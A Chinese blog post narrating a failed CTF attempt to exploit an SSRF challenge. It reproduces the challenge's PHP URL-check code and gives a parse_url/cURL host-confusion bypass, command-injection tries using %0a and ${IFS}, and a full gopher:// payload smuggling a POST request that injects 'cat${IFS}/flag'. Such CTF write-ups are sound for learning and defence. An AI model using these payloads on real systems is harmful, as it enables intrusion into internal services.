
一次失败的CTF尝试记录(SSRF利用)
本以为是修改XFF字段或者其他的代理字段,试了:X-Forwarded-For,X-real-ip,发现都不行。然后看index.php的代码,首先需要check为真才能curl访问。首先要确保url是内网IP,但是内网的话check是false,很鬼扯。
后续转移思路了,看到了parse_url(),baidu了two thousand years later… 终于发现这个是可以通过构造:http://foo@localhost:80@114.114.114.114/ping.php这样的构造绕过。
parse_url()解析的
又试了two thousand years later…,因为中间构造了
仔细想想,瞬间就傻了,我POST请求的就是ping.php,而ping.php中又要传递参数$ip去实现命令注入,相当于两个POST,一次发包怎么办得到,用&ip这种连接显然是错误的。下一步应该是看看CURL协议,毕竟有个scheme过滤,准备去吃个饭回来继续看,发现大佬已经把答案公布了,一阵抽搐之后一切都索然无味了。
发布日期:2021-05-15 22:43:26
浏览次数:25
分类:精选文章
本文共 3332 字,大约阅读时间需要 11 分钟。
访问url,获取index.php代码如下:
直接访问ping.php,需要localhost访问

仔细看下代码,逻辑上是绕不过去的,本以为还是绕过正则的,试了IPV6绕过[::1],后续在本地搭环境是可以绕过的,代码也没报错,check()为真了,但是在实际测试中却是没有内容,失望+1。

",$link,"\n"; curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($curlobj); curl_close($curlobj); echo "result->",$result,"\n";}else{ echo "unknown error";}function check($url) { $url = parse_url($url); echo "\n----------------\n"; echo "port->",$url['port'],"\n"; echo "host1->",$url['host'],"\n"; echo "scheme->",$url['scheme'],"\n"; echo "path0->",$url['path'],"\n"; //http://[ :: ]:10007/ping.php if(isset($url['port'])){ //rewrite url if port exist $url['path']= ':'.$url['port'].$url['path']; echo "path1->",$url['path'],"\n"; } if(isset($url['scheme'])){ # filter scheme if(strcasecmp($url['scheme'], "ftp") === 0 || strcasecmp($url['scheme'], "telnet") === 0 || strcasecmp($url['scheme'], "dict") === 0 || strcasecmp($url['scheme'], "file") === 0 || strcasecmp($url['scheme'], "ldap") === 0){ echo "scheme false\n"; return FALSE; } } $host = $url['host']; if(!preg_match('/[a-zA-Z]/', $host)){ //host是数字组成的 $ip = $host; echo "ip->",$ip,"\n"; if(is_inner_ip_regx($ip)){ //判断是不是内网ip echo "ip false1\n"; return FALSE; } }else{ $ip = gethostbyname($host);//是域名的话解析为IP echo "ip->",$ip,"\n"; if($ip ===$host){ echo "ip=host false\n"; return FALSE; } if(is_inner_ip_regx($ip)){ echo "ip false2\n"; return FALSE; } } return TRUE;}function is_inner_ip_regx($ip){ $pattern = "/^(127\.0\.0\.1)|(localhost)|(10\.\d{1,3}\.\d{1,3}\.\d{1,3})|(172\.((1[6-9])|(2\d)|(3[01]))\.\d{1,3}\.\d{1,3})|(192\.168\.\d{1,3}\.\d{1,3})$/"; if(preg_match($pattern, $ip)){ return TRUE; }else{ return FALSE; }} ?>
测试下输出结果为:

$ip
不是内网IP,是114.114.114.114
。 cURL解析的$link
却是localhost
。 如下图所示: 
http://foo@localhost:10007@114.114.114.114/ping.php
,重点是端口不对,这个坑爬了很久,获取了ping.php源码如下: 一看不就是命令截断+注入么,被他娘的胜利冲昏了头,赶紧构造url=HTTP://foo@localhost:80@114.114.114.114/ping.php&ip=www.baidu.com
,试试截断%0a,%0d,${IFS}
,试了two thousand years later…,不成功,还是ping的127.0.0.1
。

url=gopher://u:p@127.0.0.1:80@baidu.com/_POST+/ping.php+HTTP/1.1%250d%250aHost%3a+127.0.0.1%3a80%250d%250aConnection%3a+close%250d%250aContent-Type%3a+application/x-www-form-urlencoded%250d%250aContent-Length%3a+52%250d%250a%250d%250aip=%255c%2522%2509%250a%250acat${IFS}/flag%2509%250a
URL解码之后:
url=gopher://u:p@127.0.0.1:80@baidu.com/_POST /ping.php HTTP/1.1Host: 127.0.0.1:80Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 52ip=\" cat${ IFS}/flag
一次次的不成功,尝试都在磨灭自己的耐心,不断地鼓励自己坚持,最后差一点点的却公布答案了,这感觉太TM不爽了,不爽归不爽,还是因为菜,撸起袖子加油干哦

发表评论
最新留言
不错!
[***.144.177.141]2025年04月25日 13时30分19秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
微信小程序 数据列表点击会有提示
2021-05-15
Effective Java 读书笔记
2021-05-15
JVM 学习笔记十三、垃圾回收概述
2021-05-15
Rsync + Intofy 数据实时同步方案
2021-05-15
tomcat启动时遇到Error starting child和404时
2021-05-16
使用jieba时的bug
2021-05-16
SpringBoot使用@Email报错误
2021-05-16
SpringBoot之国际化
2021-05-16
Maven 输入依赖名字不提示
2021-05-16
Rabbitmq的内存磁盘监控
2021-05-16
访问servlet时弹出文件下载框解决方法
2021-05-16
IDEA中同时push项目到gitee和github
2021-05-16
tinyproxy正向代理
2021-05-16
codeforces 59A-C语言解题报告
2021-05-16
Fast Matrix Calculation HDU-4965 矩阵快速幂
2021-05-16
华为手机麦芒9参数配置
2021-05-16
Java中的注释
2021-05-16
Linux+Nginx+Asp.net Core及守护进程部署
2021-05-16